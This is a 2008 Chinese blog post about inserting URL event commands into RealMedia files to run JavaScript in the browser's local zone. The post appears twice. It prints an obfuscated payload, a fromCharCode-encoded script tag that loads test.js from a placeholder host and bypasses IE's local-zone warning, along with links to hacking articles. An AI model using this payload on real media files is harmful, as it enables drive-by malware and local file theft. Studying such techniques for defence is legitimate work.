rm格式插入廣告代碼
更新時(shí)間：2008年02月14日 22:43:38 作者：
rm格式插入廣告代碼
很久以前就有這個(gè)東西,當(dāng)時(shí)都是用來掛馬的,不過忽然想起來,如果能跳到j(luò)avascript:這樣的格式在本地執(zhí)行js代碼意義還是有點(diǎn)的吧,于是測(cè)試了下.結(jié)果很讓人沮喪,realplay對(duì)這個(gè)好象倒是有限制,而且查看被插入的rm文件里看出應(yīng)該是本身就做了限制,看來支持的協(xié)議不多啊....于是試試file:///,結(jié)果發(fā)現(xiàn)是支持的,于是想到前段時(shí)間的html injection,如果加起來應(yīng)該有點(diǎn)效果.
u 00:00:02 00:00:05 file://C:\WINDOWS\Help\iisHelp\common\400.htm#javascript:document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,116,101,115,116,46,106,115,62,60,47,115,99,114,105,112,116,62))/
這段代碼插進(jìn)去會(huì)出現(xiàn)一個(gè)詭異的連接,點(diǎn)擊下會(huì)執(zhí)行我指定的js(微軟的工程師還是很小心的,暫時(shí)正常情況下找到的html就這一個(gè),而且還要點(diǎn)......),而且事實(shí)證明的確是本地域執(zhí)行的,可以讀本地的文件,呵呵......而且在realone播放的情況下,ie那個(gè)本地執(zhí)行js代碼的警告居然會(huì)神奇地消失,于是放到html頁面播放,果然很郁悶,打開任何html都會(huì)警告,不過還是神奇地能打開本地域的文件.....正常下用window.open是不可以的.....域的限制是可以突破,希望能找到個(gè)本地存在問題的html就OK啦,呵呵.......
真希望這些邊緣的地方能出點(diǎn)問題,我感覺還是可能的 :)
復(fù)制代碼 代碼如下:
u 00:00:02 00:00:05 file://C:\WINDOWS\Help\iisHelp\common\400.htm#javascript:document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,47,116,101,115,116,46,106,115,62,60,47,115,99,114,105,112,116,62))/
這段代碼插進(jìn)去會(huì)出現(xiàn)一個(gè)詭異的連接,點(diǎn)擊下會(huì)執(zhí)行我指定的js(微軟的工程師還是很小心的,暫時(shí)正常情況下找到的html就這一個(gè),而且還要點(diǎn)......),而且事實(shí)證明的確是本地域執(zhí)行的,可以讀本地的文件,呵呵......而且在realone播放的情況下,ie那個(gè)本地執(zhí)行js代碼的警告居然會(huì)神奇地消失,于是放到html頁面播放,果然很郁悶,打開任何html都會(huì)警告,不過還是神奇地能打開本地域的文件.....正常下用window.open是不可以的.....域的限制是可以突破,希望能找到個(gè)本地存在問題的html就OK啦,呵呵.......
真希望這些邊緣的地方能出點(diǎn)問題,我感覺還是可能的 :)
相關(guān)文章
黑客入侵Windows XP系統(tǒng)常用七大招數(shù)
黑客入侵Windows XP系統(tǒng)常用七大招數(shù)...2006-10-10
防范的時(shí)候需要對(duì)用戶的輸入進(jìn)行檢查。特別是一些特殊字符，比如單引號(hào)，雙引號(hào)，分號(hào)，逗號(hào)，冒號(hào)，連接號(hào)等進(jìn)行轉(zhuǎn)換或者過濾。2008-12-12
個(gè)人用戶防黑指南...2006-10-10
這篇文章主要介紹了XSS & SQL注入的相關(guān)資料,需要的朋友可以參考下2007-06-06
七個(gè)絕招應(yīng)對(duì)網(wǎng)上銀行盜賊
七個(gè)絕招應(yīng)對(duì)網(wǎng)上銀行盜賊...2006-09-09
Iptables防火墻limit模塊擴(kuò)展匹配規(guī)則詳解
這篇文章主要為大家介紹了Iptables防火墻limit模塊擴(kuò)展匹配規(guī)則詳解，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪2022-08-08
phpwind Exp 漏洞利用...2007-06-06
真正能用,還有點(diǎn)效果的CSS掛馬代碼的方法...2007-10-10
超全的webshell權(quán)限提升方法...2007-02-02
這篇文章主要為大家介紹了網(wǎng)絡(luò)安全漏洞相關(guān)SSTI模板注入深入解析，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪2022-10-10